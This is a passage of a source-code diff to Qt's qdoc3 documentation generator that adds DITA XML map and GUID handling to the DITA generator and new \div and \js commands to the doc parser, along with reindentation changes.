+ if (!title.isEmpty()) {
+ writeGuidAttribute(title);
+ xmlWriter().writeAttribute("spectitle",title);
+ }
+ else
+ writeGuidAttribute("Detailed Description");
+ xmlWriter().writeAttribute("outputclass","details");
+ }
+ else {
+ inSection = true;
+ xmlWriter().writeStartElement("section");
+ if (!title.isEmpty()) {
+ writeGuidAttribute(title);
+ xmlWriter().writeAttribute("outputclass","details");
+ xmlWriter().writeStartElement("title");
+ xmlWriter().writeAttribute("outputclass","h2");
+ writeCharacters(title);
+ xmlWriter().writeEndElement(); // </title>
+ }
+ else {
+ writeGuidAttribute("Detailed Description");
+ xmlWriter().writeAttribute("outputclass","details");
+ }
+ }
+ generateBody(node, marker);
+ if (inApiDesc) {
+ xmlWriter().writeEndElement(); // </apiDesc>
+ inApiDesc = false;
+ }
+ else if (inSection) {
+ xmlWriter().writeEndElement(); // </section>
+ inSection = false;
+ }
+ }
+ inDetailedDescription = false;
+}
+
+/*!
+ Write the nested class elements.
+ */
+void DitaXmlGenerator::writeNestedClasses(const Section& s,
+ const Node* n)
+{
+ if (s.members.isEmpty())
+ return;
+ xmlWriter().writeStartElement("cxxClassNested");
+ xmlWriter().writeStartElement("cxxClassNestedDetail");
+
+ NodeList::ConstIterator m = s.members.begin();
+ while (m != s.members.end()) {
+ if ((*m)->type() == Node::Class) {
+ xmlWriter().writeStartElement("cxxClassNestedClass");
+ QString link = linkForNode((*m), n);
+ xmlWriter().writeAttribute("href", link);
+ QString name = n->name() + "::" + (*m)->name();
+ writeCharacters(name);
+ xmlWriter().writeEndElement(); // <cxxClassNestedClass>
+ }
+ ++m;
+ }
+ xmlWriter().writeEndElement(); // <cxxClassNestedDetail>
+ xmlWriter().writeEndElement(); // <cxxClassNested>
+}
+
+/*!
+ Recursive writing of DITA XML files from the root \a node.
+ */
+void
+DitaXmlGenerator::generateInnerNode(const InnerNode* node)
+{
+ if (!node->url().isNull())
+ return;
+
+ if (node->type() == Node::Fake) {
+ const FakeNode *fakeNode = static_cast<const FakeNode *>(node);
+ if (fakeNode->subType() == Node::ExternalPage)
+ return;
+ if (fakeNode->subType() == Node::Image)
+ return;
+ if (fakeNode->subType() == Node::QmlPropertyGroup)
+ return;
+ if (fakeNode->subType() == Node::Page) {
+ if (node->count() > 0)
+ qDebug("PAGE %s HAS CHILDREN", qPrintable(fakeNode->title()));
+ }
+ }
+
+ /*
+ Obtain a code marker for the source file.
+ */
+ CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath());
+
+ if (node->parent() != 0) {
+ beginSubPage(node->location(), fileName(node));
+ if (node->type() == Node::Namespace || node->type() == Node::Class) {
+ generateClassLikeNode(node, marker);
+ }
+ else if (node->type() == Node::Fake) {
+ if (node->subType() == Node::HeaderFile)
+ generateClassLikeNode(node, marker);
+ else if (node->subType() == Node::QmlClass)
+ generateClassLikeNode(node, marker);
+ else
+ generateFakeNode(static_cast<const FakeNode*>(node), marker);
+ }
+ endSubPage();
+ }
+
+ NodeList::ConstIterator c = node->childNodes().begin();
+ while (c != node->childNodes().end()) {
+ if ((*c)->isInnerNode() && (*c)->access() != Node::Private)
+ generateInnerNode((const InnerNode*) *c);
+ ++c;
+ }
+}
+
+/*!
+ Returns true if \a format is "XML" or "HTML" .
+ */
+bool DitaXmlGenerator::canHandleFormat(const QString& format)
+{
+ return (format == "HTML") || (format == this->format());
+}
+
+void DitaXmlGenerator::writeDitaMap()
+{
+ beginSubPage(Location(),"qt-dita-map.xml");
+
+ QString doctype;
+ doctype = "<!DOCTYPE cxxAPIMap PUBLIC \"-//NOKIA//DTD DITA C++ API Map Reference Type v0.6.0//EN\" \"dtd/cxxAPIMap.dtd\">";
+
+ xmlWriter().writeDTD(doctype);
+ xmlWriter().writeStartElement("cxxAPIMap");
+ xmlWriter().writeAttribute("id","Qt-DITA-Map");
+ xmlWriter().writeAttribute("title","Qt DITA Map");
+ xmlWriter().writeStartElement("topicmeta");
+ xmlWriter().writeStartElement("shortdesc");
+ xmlWriter().writeCharacters("The top level map for the Qt documentation");
+ xmlWriter().writeEndElement(); // </shortdesc>
+ xmlWriter().writeEndElement(); // </topicmeta>
+ GuidMaps::iterator i = guidMaps.begin();
+ while (i != guidMaps.end()) {
+ xmlWriter().writeStartElement("topicref");
+ xmlWriter().writeAttribute("href",i.key());
+ xmlWriter().writeAttribute("type","topic");
+ xmlWriter().writeEndElement(); // </topicref>
+ ++i;
+ }
+ endSubPage();
+}
+
QT_END_NAMESPACE
diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h
index eac0a82..4aae657 100644
--- a/tools/qdoc3/ditaxmlgenerator.h
+++ b/tools/qdoc3/ditaxmlgenerator.h
@@ -39,10 +39,6 @@
**
****************************************************************************/
-/*
- ditaxmlgenerator.h
-*/
-
#ifndef DITAXMLGENERATOR_H
#define DITAXMLGENERATOR_H
@@ -61,7 +57,8 @@ typedef QMap<Node*, NodeMultiMap> ParentMaps;
typedef QMap<QString, const Node*> NodeMap;
typedef QMap<QString, NodeMap> NewClassMaps;
-class HelpProjectWriter;
+typedef QMap<QString, QString> GuidMap;
+typedef QMap<QString, GuidMap*> GuidMaps;
class DitaXmlGenerator : public PageGenerator
{
@@ -91,110 +88,111 @@ class DitaXmlGenerator : public PageGenerator
virtual void initializeGenerator(const Config& config);
virtual void terminateGenerator();
virtual QString format();
- virtual void generateTree(const Tree *tree, CodeMarker *marker);
+ virtual bool canHandleFormat(const QString& format);
+ virtual void generateTree(const Tree *tree);
- QString protectEnc(const QString &string);
- static QString protect(const QString &string, const QString &encoding = "ISO-8859-1");
+ QString protectEnc(const QString& string);
+ static QString protect(const QString& string, const QString& encoding = "ISO-8859-1");
static QString cleanRef(const QString& ref);
static QString sinceTitle(int i) { return sinceTitles[i]; }
protected:
- virtual void startText(const Node *relative, CodeMarker *marker);
- virtual int generateAtom(const Atom *atom,
- const Node *relative,
- CodeMarker *marker);
- virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker);
- virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker);
- virtual QString fileExtension(const Node *node) const;
- virtual QString refForNode(const Node *node);
- virtual QString linkForNode(const Node *node, const Node *relative);
- virtual QString refForAtom(Atom *atom, const Node *node);
+ virtual void startText(const Node* relative, CodeMarker* marker);
+ virtual int generateAtom(const Atom* atom,
+ const Node* relative,
+ CodeMarker* marker);
+ virtual void generateClassLikeNode(const InnerNode* inner, CodeMarker* marker);
+ virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker);
+ virtual QString fileExtension(const Node* node) const;
+ virtual QString refForNode(const Node* node);
+ virtual QString guidForNode(const Node* node);
+ virtual QString linkForNode(const Node* node, const Node* relative);
+ virtual QString refForAtom(Atom* atom, const Node* node);
+ void writeXrefListItem(const QString& link, const QString& text);
QString fullQualification(const Node* n);
+ void writeCharacters(const QString& text);
void writeDerivations(const ClassNode* cn, CodeMarker* marker);
void writeLocation(const Node* n);
void writeFunctions(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker);
- void writeParameters(const FunctionNode* fn, CodeMarker* marker);
+ const Node* n,
+ CodeMarker* marker,
+ const QString& attribute = QString());
+ void writeNestedClasses(const Section& s, const Node* n);
+ void writeParameters(const FunctionNode* fn);
void writeEnumerations(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker);
+ CodeMarker* marker,
+ const QString& attribute = QString());
void writeTypedefs(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker);
+ CodeMarker* marker,
+ const QString& attribute = QString());
void writeDataMembers(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker);
+ CodeMarker* marker,
+ const QString& attribute = QString());
void writeProperties(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker);
+ CodeMarker* marker,
+ const QString& attribute = QString());
void writeMacros(const Section& s,
- const ClassNode* cn,
- CodeMarker* marker);
- void writePropParams(const QString& tag, const NodeList& nlist);
+ CodeMarker* marker,
+ const QString& attribute = QString());
+ void writePropertyParameter(const QString& tag, const NodeList& nlist);
+ void writeRelatedLinks(const FakeNode* fake, CodeMarker* marker);
+ void writeLink(const Node* node, const QString& tex, const QString& role);
private:
enum SubTitleSize { SmallSubTitle, LargeSubTitle };
- const QPair<QString,QString> anchorForNode(const Node *node);
- const Node *findNodeForTarget(const QString &target,
- const Node *relative,
- CodeMarker *marker,
- const Atom *atom = 0);
- void generateBreadCrumbs(const QString& title,
- const Node *node,
- CodeMarker *marker);
- void generateHeader(const Node* node);
- void generateTitle(const QString& title,
- const Text &subTitle,
- SubTitleSize subTitleSize,
- const Node *relative,
- CodeMarker *marker);
+ const QPair<QString,QString> anchorForNode(const Node* node);
+ const Node* findNodeForTarget(const QString& target,
+ const Node* relative,
+ CodeMarker* marker,
+ const Atom* atom = 0);
+ void generateHeader(const Node* node,
+ const QString& name,
+ bool subpage = false);
void generateBrief(const Node* node, CodeMarker* marker);
- void generateIncludes(const InnerNode *inner, CodeMarker *marker);
- void generateTableOfContents(const Node *node,
- CodeMarker *marker,
+ void generateIncludes(const InnerNode* inner, CodeMarker* marker);
+ void generateTableOfContents(const Node* node,
+ CodeMarker* marker,
Doc::SectioningUnit sectioningUnit,
int numColumns,
- const Node *relative = 0);
- void generateTableOfContents(const Node *node,
- CodeMarker *marker,
+ const Node* relative = 0);
+ void generateTableOfContents(const Node* node,
+ CodeMarker* marker,
QList<Section>* sections = 0);
- QString generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker);
- QString generateLowStatusMemberFile(const InnerNode *inner,
- CodeMarker *marker,
+ void generateLowStatusMembers(const InnerNode* inner,
+ CodeMarker* marker,
+ CodeMarker::Status status);
+ QString generateLowStatusMemberFile(const InnerNode* inner,
+ CodeMarker* marker,
CodeMarker::Status status);
- void generateClassHierarchy(const Node *relative,
- CodeMarker *marker,
- const NodeMap &classMap);
- void generateAnnotatedList(const Node *relative,
- CodeMarker *marker,
- const NodeMap &nodeMap);
- void generateCompactList(const Node *relative,
- CodeMarker *marker,
- const NodeMap &classMap,
+ void generateClassHierarchy(const Node* relative,
+ CodeMarker* marker,
+ const NodeMap& classMap);
+ void generateAnnotatedList(const Node* relative,
+ CodeMarker* marker,
+ const NodeMap& nodeMap);
+ void generateCompactList(const Node* relative,
+ CodeMarker* marker,
+ const NodeMap& classMap,
bool includeAlphabet,
QString commonPrefix = QString());
- void generateFunctionIndex(const Node *relative, CodeMarker *marker);
- void generateLegaleseList(const Node *relative, CodeMarker *marker);
- void generateOverviewList(const Node *relative, CodeMarker *marker);
- void generateSectionList(const Section& section,
- const Node *relative,
- CodeMarker *marker,
- CodeMarker::SynopsisStyle style);
+ void generateFunctionIndex(const Node* relative, CodeMarker* marker);
+ void generateLegaleseList(const Node* relative, CodeMarker* marker);
+ void generateOverviewList(const Node* relative, CodeMarker* marker);
+
#ifdef QDOC_QML
void generateQmlSummary(const Section& section,
- const Node *relative,
- CodeMarker *marker);
- void generateQmlItem(const Node *node,
- const Node *relative,
- CodeMarker *marker,
+ const Node* relative,
+ CodeMarker* marker);
+ void generateQmlItem(const Node* node,
+ const Node* relative,
+ CodeMarker* marker,
bool summary);
- void generateDetailedQmlMember(const Node *node,
- const InnerNode *relative,
- CodeMarker *marker);
+ void generateDetailedQmlMember(const Node* node,
+ const InnerNode* relative,
+ CodeMarker* marker);
void generateQmlInherits(const QmlClassNode* cn, CodeMarker* marker);
void generateQmlInheritedBy(const QmlClassNode* cn, CodeMarker* marker);
void generateQmlInstantiates(const QmlClassNode* qcn, CodeMarker* marker);
@@ -202,41 +200,31 @@ class DitaXmlGenerator : public PageGenerator
#endif
void generateSection(const NodeList& nl,
- const Node *relative,
- CodeMarker *marker,
+ const Node* relative,
+ CodeMarker* marker,
CodeMarker::SynopsisStyle style);
- void generateSynopsis(const Node *node,
- const Node *relative,
- CodeMarker *marker,
- CodeMarker::SynopsisStyle style,
- bool nameAlignment = false);
+ QString getMarkedUpSynopsis(const Node* node,
+ const Node* relative,
+ CodeMarker* marker,
+ CodeMarker::SynopsisStyle style);
void generateSectionInheritedList(const Section& section,
- const Node *relative,
- CodeMarker *marker,
- bool nameAlignment = false);
- QString highlightedCode(const QString& markedCode,
- CodeMarker *marker,
- const Node *relative,
- CodeMarker::SynopsisStyle style = CodeMarker::Accessors,
- bool nameAlignment = false);
+ const Node* relative,
+ CodeMarker* marker);
+ void writeText(const QString& markedCode,
+ CodeMarker* marker,
+ const Node* relative);
- void generateFullName(const Node *apparentNode,
- const Node *relative,
- CodeMarker *marker,
- const Node *actualNode = 0);
- void generateDetailedMember(const Node *node,
- const InnerNode *relative,
- CodeMarker *marker);
- void generateLink(const Atom *atom,
- const Node *relative,
- CodeMarker *marker);
- void generateStatus(const Node *node, CodeMarker *marker);
+ void generateFullName(const Node* apparentNode,
+ const Node* relative,
+ CodeMarker* marker,
+ const Node* actualNode = 0);
+ void generateLink(const Atom* atom,
+ const Node* relative,
+ CodeMarker* marker);
+ void generateStatus(const Node* node, CodeMarker* marker);
QString registerRef(const QString& ref);
- QString fileBase(const Node *node);
-#if 0
- QString fileBase(const Node *node, const SectionIterator& section);
-#endif
+ QString fileBase(const Node *node) const;
QString fileName(const Node *node);
void findAllClasses(const InnerNode *node);
void findAllFunctions(const InnerNode *node);
@@ -248,38 +236,42 @@ class DitaXmlGenerator : public PageGenerator
virtual QString getLink(const Atom *atom,
const Node *relative,
CodeMarker *marker,
- const Node** node);
- virtual void generateIndex(const QString &fileBase,
- const QString &url,
- const QString &title);
+ const Node **node);
+ virtual void generateIndex(const QString& fileBase,
+ const QString& url,
+ const QString& title);
#ifdef GENERATE_MAC_REFS
- void generateMacRef(const Node *node, CodeMarker *marker);
+ void generateMacRef(const Node* node, CodeMarker* marker);
#endif
- void beginLink(const QString &link,
- const Node *node,
- const Node *relative,
- CodeMarker *marker);
+ void beginLink(const QString& link);
void endLink();
- bool generatePageElement(QXmlStreamWriter& writer,
- const Node* node,
- CodeMarker* marker) const;
- void generatePageElements(QXmlStreamWriter& writer,
- const Node* node,
- CodeMarker* marker) const;
- void generatePageIndex(const QString& fileName,
- CodeMarker* marker) const;
QString writeGuidAttribute(QString text);
+ void writeGuidAttribute(Node* node);
QString lookupGuid(QString text);
+ QString lookupGuid(const QString& fileName, const QString& text);
+ GuidMap* lookupGuidMap(const QString& fileName);
+ virtual void beginSubPage(const Location& location, const QString& fileName);
+ virtual void endSubPage();
+ virtual void generateInnerNode(const InnerNode* node);
+ QXmlStreamWriter& xmlWriter();
+ void writeDetailedDescription(const Node* node,
+ CodeMarker* marker,
+ bool apiDesc,
+ const QString& title);
+ void addLink(const QString& href, const QStringRef& text);
+ void writeDitaMap();
private:
QMap<QString, QString> refMap;
QMap<QString, QString> name2guidMap;
+ GuidMaps guidMaps;
int codeIndent;
bool inLink;
bool inObsoleteLink;
bool inContents;
bool inSectionHeading;
bool inTableHeader;
+ bool inTableBody;
int numTableRows;
bool threeColumnEnumValueTable;
bool offlineDocs;
@@ -298,10 +290,10 @@ class DitaXmlGenerator : public PageGenerator
QString navigationLinks;
QStringList stylesheets;
QStringList customHeadElements;
- const Tree *myTree;
- bool slow;
+ const Tree* myTree;
bool obsoleteLinks;
- int noLinks;
+ bool noLinks;
+ int tableColumnCount;
QMap<QString, NodeMap > moduleClassMap;
QMap<QString, NodeMap > moduleNamespaceMap;
NodeMap nonCompatClasses;
@@ -314,13 +306,18 @@ class DitaXmlGenerator : public PageGenerator
NodeMap qmlClasses;
#endif
QMap<QString, NodeMap > funcIndex;
- QMap<Text, const Node *> legaleseTexts;
+ QMap<Text, const Node*> legaleseTexts;
NewSinceMaps newSinceMaps;
static QString sinceTitles[];
NewClassMaps newClassMaps;
NewClassMaps newQmlClassMaps;
static int id;
- QXmlStreamWriter writer;
+ static bool inApiDesc;
+ static bool inSection;
+ static bool inDetailedDescription;
+ static bool inLegaleseText;
+
+ QStack<QXmlStreamWriter*> xmlWriterStack;
};
#define DITAXMLGENERATOR_ADDRESS "address"
@@ -335,4 +332,3 @@ class DitaXmlGenerator : public PageGenerator
QT_END_NAMESPACE
#endif
-
diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp
index 205f3c5..a730799 100644
--- a/tools/qdoc3/doc.cpp
+++ b/tools/qdoc3/doc.cpp
@@ -48,7 +48,6 @@
#include "text.h"
#include "tokenizer.h"
#include <qdatetime.h>
-#include <qdebug.h>
#include <qfile.h>
#include <qfileinfo.h>
#include <qhash.h>
@@ -75,11 +74,11 @@ struct Macro
enum {
CMD_A, CMD_ABSTRACT, CMD_ANNOTATEDLIST, CMD_BADCODE,
CMD_BASENAME, CMD_BOLD, CMD_BRIEF, CMD_C, CMD_CAPTION,
- CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DOTS, CMD_ELSE,
- CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE,
- CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE, CMD_ENDLINK,
- CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART, CMD_ENDQUOTATION,
- CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2,
+ CMD_CHAPTER, CMD_CODE, CMD_CODELINE, CMD_DIV, CMD_DOTS,
+ CMD_ELSE, CMD_ENDABSTRACT, CMD_ENDCHAPTER, CMD_ENDCODE,
+ CMD_ENDDIV, CMD_ENDFOOTNOTE, CMD_ENDIF, CMD_ENDLEGALESE,
+ CMD_ENDLINK, CMD_ENDLIST, CMD_ENDOMIT, CMD_ENDPART,
+ CMD_ENDQUOTATION, CMD_ENDRAW, CMD_ENDSECTION1, CMD_ENDSECTION2,
CMD_ENDSECTION3, CMD_ENDSECTION4, CMD_ENDSIDEBAR,
CMD_ENDTABLE, CMD_EXPIRE, CMD_FOOTNOTE, CMD_GENERATELIST,
CMD_GRANULARITY, CMD_HEADER, CMD_I, CMD_IF, CMD_IMAGE,
@@ -97,6 +96,7 @@ enum {
#ifdef QDOC_QML
CMD_QML, CMD_ENDQML, CMD_CPP, CMD_ENDCPP, CMD_QMLTEXT,
CMD_ENDQMLTEXT, CMD_CPPTEXT, CMD_ENDCPPTEXT,
+ CMD_JS, CMD_ENDJS,
#endif
NOT_A_CMD
};
@@ -118,11 +118,13 @@ static struct {
{ "chapter", CMD_CHAPTER, 0 },
{ "code", CMD_CODE, 0 },
{ "codeline", CMD_CODELINE, 0},
+ { "div", CMD_DIV, 0 },
{ "dots", CMD_DOTS, 0 },
{ "else", CMD_ELSE, 0 },
{ "endabstract", CMD_ENDABSTRACT, 0 },
{ "endchapter", CMD_ENDCHAPTER, 0 },
{ "endcode", CMD_ENDCODE, 0 },
+ { "enddiv", CMD_ENDDIV, 0 },
{ "endfootnote", CMD_ENDFOOTNOTE, 0 },
{ "endif", CMD_ENDIF, 0 },
{ "endlegalese", CMD_ENDLEGALESE, 0 },
@@ -201,6 +203,8 @@ static struct {
{ "endqmltext", CMD_ENDQMLTEXT, 0 },
{ "cpptext", CMD_CPPTEXT, 0 },
{ "endcpptext", CMD_ENDCPPTEXT, 0 },
+ { "js", CMD_JS, 0 },
+ { "endjs", CMD_ENDJS, 0 },
#endif
{ 0, 0, 0 }
};
@@ -225,13 +229,13 @@ class DocPrivateExtra
QStringMap metaMap;
DocPrivateExtra()
- : granularity(Doc::Part) { }
+ : granularity(Doc::Part) { }
};
struct Shared // ### get rid of
{
Shared()
- : count(1) { }
+ : count(1) { }
void ref() { ++count; }
bool deref() { return (--count == 0); }
@@ -301,7 +305,7 @@ void DocPrivate::addAlso(const Text& also)
void DocPrivate::constructExtra()
{
if (extra == 0)
- extra = new DocPrivateExtra;
+ extra = new DocPrivateExtra;
}
bool DocPrivate::isEnumDocSimplifiable() const
@@ -350,7 +354,7 @@ class DocParser
private:
Location& location();
QString detailsUnknownCommand(const QSet<QString>& metaCommandSet,
- const QString& str);
+ const QString& str);
void checkExpiry(const QString& date);
void insertBaseName(const QString &baseName);
void insertTarget(const QString& target, bool keyword);
@@ -365,16 +369,18 @@ class DocParser
void appendChar(QChar ch);
void appendWord(const QString &word);
void appendToCode(const QString &code);
+ void appendToCode(const QString &code, Atom::Type defaultType);
void startNewPara();
void enterPara(Atom::Type leftType = Atom::ParaLeft,
- Atom::Type rightType = Atom::ParaRight,
- const QString& string = "");
+ Atom::Type rightType = Atom::ParaRight,
+ const QString& string = "");
void leavePara();
void leaveValue();
void leaveValueList();
void leaveTableRow();
CodeMarker *quoteFromFile();
void expandMacro(const QString& name, const QString& def, int numParams);
+ QString expandMacroToString(const QString &name, const QString &def, int numParams);
Doc::SectioningUnit getSectioningUnit();
QString getArgument(bool verbatim = false);
QString getOptionalArgument();
@@ -534,7 +540,7 @@ void DocParser::parse(const QString& source,
enterPara();
x = untabifyEtc(getArgument(true));
marker = CodeMarker::markerForCode(x);
- append(Atom::C, marker->markedUpCode(x, 0, ""));
+ append(Atom::C, marker->markedUpCode(x, 0, location()));
break;
case CMD_CAPTION:
leavePara();
@@ -547,15 +553,26 @@ void DocParser::parse(const QString& source,
leavePara();
append(Atom::Code, getCode(CMD_CODE, marker));
break;
-#ifdef QDOC_QML
+#ifdef QDOC_QML
case CMD_QML:
leavePara();
- append(Atom::Qml, getCode(CMD_QML, marker));
+ append(Atom::Qml, getCode(CMD_QML, CodeMarker::markerForLanguage(QLatin1String("QML"))));
break;
case CMD_QMLTEXT:
append(Atom::QmlText);
break;
-#endif
+ case CMD_JS:
+ leavePara();
+ append(Atom::JavaScript, getCode(CMD_JS, CodeMarker::markerForLanguage(QLatin1String("JavaScript"))));
+ break;
+#endif
+ case CMD_DIV:
+ leavePara();
+ x = getArgument(true);
+ append(Atom::Div, x);
+ openedCommands.push(cmd);
+ enterPara();
+ break;
case CMD_CODELINE:
{
if (!quoting) {
@@ -623,6 +640,11 @@ void DocParser::parse(const QString& source,
case CMD_ENDCODE:
closeCommand(cmd);
break;
+ case CMD_ENDDIV:
+ leavePara();
+ append(Atom::EndDiv);
+ closeCommand(cmd);
+ break;
#ifdef QDOC_QML
case CMD_ENDQML:
closeCommand(cmd);
@@ -630,6 +652,9 @@ void DocParser::parse(const QString& source,
case CMD_ENDQMLTEXT:
append(Atom::EndQmlText);
break;
+ case CMD_ENDJS:
+ closeCommand(cmd);
+ break;
#endif
case CMD_ENDFOOTNOTE:
if (closeCommand(cmd)) {
@@ -1088,9 +1113,8 @@ void DocParser::parse(const QString& source,
append(Atom::SnippetIdentifier, identifier);
}
else {
- Doc::quoteFromFile(location(),quoter,snippet);
- appendToCode(quoter.quoteSnippet(location(),
- identifier));
+ marker = Doc::quoteFromFile(location(),quoter,snippet);
+ appendToCode(quoter.quoteSnippet(location(), identifier), marker->atomType());
}
}
break;
@@ -1229,7 +1253,7 @@ void DocParser::parse(const QString& source,
}
else {
location().push(macro.defaultDefLocation.filePath());
- in.insert(pos, macro.defaultDef);
+ in.insert(pos, expandMacroToString(cmdStr, macro.defaultDef, macro.numParams));
len = in.length();
openedInputs.push(pos + macro.defaultDef.length());
}
@@ -1465,35 +1489,35 @@ void DocParser::checkExpiry(const QString& date)
QRegExp ymd("(\\d{4})(?:-(\\d{2})(?:-(\\d{2})))");
if (ymd.exactMatch(date)) {
- int y = ymd.cap(1).toInt();
- int m = ymd.cap(2).toInt();
- int d = ymd.cap(3).toInt();
-
- if (m == 0)
- m = 1;
- if (d == 0)
- d = 1;
- QDate expiryDate(y, m, d);
- if (expiryDate.isValid()) {
- int days = expiryDate.daysTo(QDate::currentDate());
- if (days == 0) {
- location().warning(tr("Documentation expires today"));
- }
+ int y = ymd.cap(1).toInt();
+ int m = ymd.cap(2).toInt();
+ int d = ymd.cap(3).toInt();
+
+ if (m == 0)
+ m = 1;
+ if (d == 0)
+ d = 1;
+ QDate expiryDate(y, m, d);
+ if (expiryDate.isValid()) {
+ int days = expiryDate.daysTo(QDate::currentDate());
+ if (days == 0) {
+ location().warning(tr("Documentation expires today"));
+ }
else if (days == 1) {
- location().warning(tr("Documentation expired yesterday"));
- }
+ location().warning(tr("Documentation expired yesterday"));
+ }
else if (days >= 2) {
- location().warning(tr("Documentation expired %1 days ago")
- .arg(days));
- }
- }
+ location().warning(tr("Documentation expired %1 days ago")
+ .arg(days));
+ }
+ }
else {
- location().warning(tr("Date '%1' invalid").arg(date));
- }
+ location().warning(tr("Date '%1' invalid").arg(date));
+ }
}
else {
- location().warning(tr("Date '%1' not in YYYY-MM-DD format")
- .arg(date));
+ location().warning(tr("Date '%1' not in YYYY-MM-DD format")
+ .arg(date));
}
}
@@ -1501,34 +1525,34 @@ void DocParser::insertBaseName(const QString &baseName)
{
priv->constructExtra();
if (currentSectioningUnit == priv->extra->sectioningUnit) {
- priv->extra->baseName = baseName;
+ priv->extra->baseName = baseName;
}
else {
- Atom *atom = priv->text.firstAtom();
- Atom *sectionLeft = 0;
+ Atom *atom = priv->text.firstAtom();
+ Atom *sectionLeft = 0;
- int delta = currentSectioningUnit - priv->extra->sectioningUnit;
+ int delta = currentSectioningUnit - priv->extra->sectioningUnit;
- while (atom != 0) {
- if (atom->type() == Atom::SectionLeft &&
- atom->string().toInt() == delta)
- sectionLeft = atom;
- atom = atom->next();
- }
- if (sectionLeft != 0)
- (void) new Atom(sectionLeft, Atom::BaseName, baseName);
+ while (atom != 0) {
+ if (atom->type() == Atom::SectionLeft &&
+ atom->string().toInt() == delta)
+ sectionLeft = atom;
+ atom = atom->next();
+ }
+ if (sectionLeft != 0)
+ (void) new Atom(sectionLeft, Atom::BaseName, baseName);
}
}
void DocParser::insertTarget(const QString &target, bool keyword)
{
if (targetMap.contains(target)) {
- location().warning(tr("Duplicate target name '%1'").arg(target));
- targetMap[target].warning(tr("(The previous occurrence is here)"));
+ location().warning(tr("Duplicate target name '%1'").arg(target));
+ targetMap[target].warning(tr("(The previous occurrence is here)"));
}
else {
- targetMap.insert(target, location());
- append(Atom::Target, target);
+ targetMap.insert(target, location());
+ append(Atom::Target, target);
priv->constructExtra();
if (keyword)
priv->extra->keywords.append(priv->text.lastAtom());
@@ -1540,8 +1564,8 @@ void DocParser::insertTarget(const QString &target, bool keyword)
void DocParser::include(const QString& fileName)
{
if (location().depth() > 16)
- location().fatal(tr("Too many nested '\\%1's")
- .arg(cmdName(CMD_INCLUDE)));
+ location().fatal(tr("Too many nested '\\%1's")
+ .arg(cmdName(CMD_INCLUDE)));
QString userFriendlyFilePath;
// ### use current directory?
@@ -1551,25 +1575,25 @@ void DocParser::include(const QString& fileName)
fileName,
userFriendlyFilePath);
if (filePath.isEmpty()) {
- location().warning(tr("Cannot find leaf file '%1'").arg(fileName));
+ location().warning(tr("Cannot find leaf file '%1'").arg(fileName));
}
else {
- QFile inFile(filePath);
- if (!inFile.open(QFile::ReadOnly)) {
- location().warning(tr("Cannot open leaf file '%1'")
- .arg(userFriendlyFilePath));
- }
+ QFile inFile(filePath);
+ if (!inFile.open(QFile::ReadOnly)) {
+ location().warning(tr("Cannot open leaf file '%1'")
+ .arg(userFriendlyFilePath));
+ }
else {
- location().push(userFriendlyFilePath);
+ location().push(userFriendlyFilePath);
- QTextStream inStream(&inFile);
- QString includedStuff = inStream.readAll();
- inFile.close();
+ QTextStream inStream(&inFile);
+ QString includedStuff = inStream.readAll();
+ inFile.close();
- in.insert(pos, includedStuff);
- len = in.length();
- openedInputs.push(pos + includedStuff.length());
- }
+ in.insert(pos, includedStuff);
+ len = in.length();
+ openedInputs.push(pos + includedStuff.length());
+ }
}
}
@@ -1579,29 +1603,29 @@ void DocParser::startFormat(const QString& format, int cmd)
QMap<int, QString>::ConstIterator f = pendingFormats.begin();
while (f != pendingFormats.end()) {
- if (*f == format) {
- location().warning(tr("Cannot nest '\\%1' commands")
- .arg(cmdName(cmd)));
- return;
- }
- ++f;
+ if (*f == format) {
+ location().warning(tr("Cannot nest '\\%1' commands")
+ .arg(cmdName(cmd)));
+ return;
+ }
+ ++f;
}
append(Atom::FormattingLeft, format);
if (isLeftBraceAhead()) {
- skipSpacesOrOneEndl();
- pendingFormats.insert(braceDepth, format);
- ++braceDepth;
- ++pos;
+ skipSpacesOrOneEndl();
+ pendingFormats.insert(braceDepth, format);
+ ++braceDepth;
+ ++pos;
}
else {
- append(Atom::String, getArgument());
- append(Atom::FormattingRight, format);
- if (format == ATOM_FORMATTING_INDEX && indexStartedPara) {
- skipAllSpaces();
- indexStartedPara = false;
- }
+ append(Atom::String, getArgument());
+ append(Atom::FormattingRight, format);
+ if (format == ATOM_FORMATTING_INDEX && indexStartedPara) {
+ skipAllSpaces();
+ indexStartedPara = false;
+ }
}
}
@@ -1612,37 +1636,37 @@ bool DocParser::openCommand(int cmd)
if (cmd != CMD_LINK) {
if (outer == CMD_LIST) {
- ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST);
+ ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST);
}
else if (outer == CMD_ABSTRACT) {
- ok = (cmd == CMD_LIST ||
+ ok = (cmd == CMD_LIST ||
cmd == CMD_QUOTATION ||
cmd == CMD_TABLE);
}
else if (outer == CMD_SIDEBAR) {
- ok = (cmd == CMD_LIST ||
+ ok = (cmd == CMD_LIST ||
cmd == CMD_QUOTATION ||
cmd == CMD_SIDEBAR);
}
else if (outer == CMD_QUOTATION) {
- ok = (cmd == CMD_LIST);
+ ok = (cmd == CMD_LIST);
}
else if (outer == CMD_TABLE) {
- ok = (cmd == CMD_LIST ||
+ ok = (cmd == CMD_LIST ||
cmd == CMD_FOOTNOTE ||
cmd == CMD_QUOTATION);
}
else if (outer == CMD_FOOTNOTE || outer == CMD_LINK) {
- ok = false;
+ ok = false;
}
}
if (ok) {
- openedCommands.push(cmd);
+ openedCommands.push(cmd);
}
else {
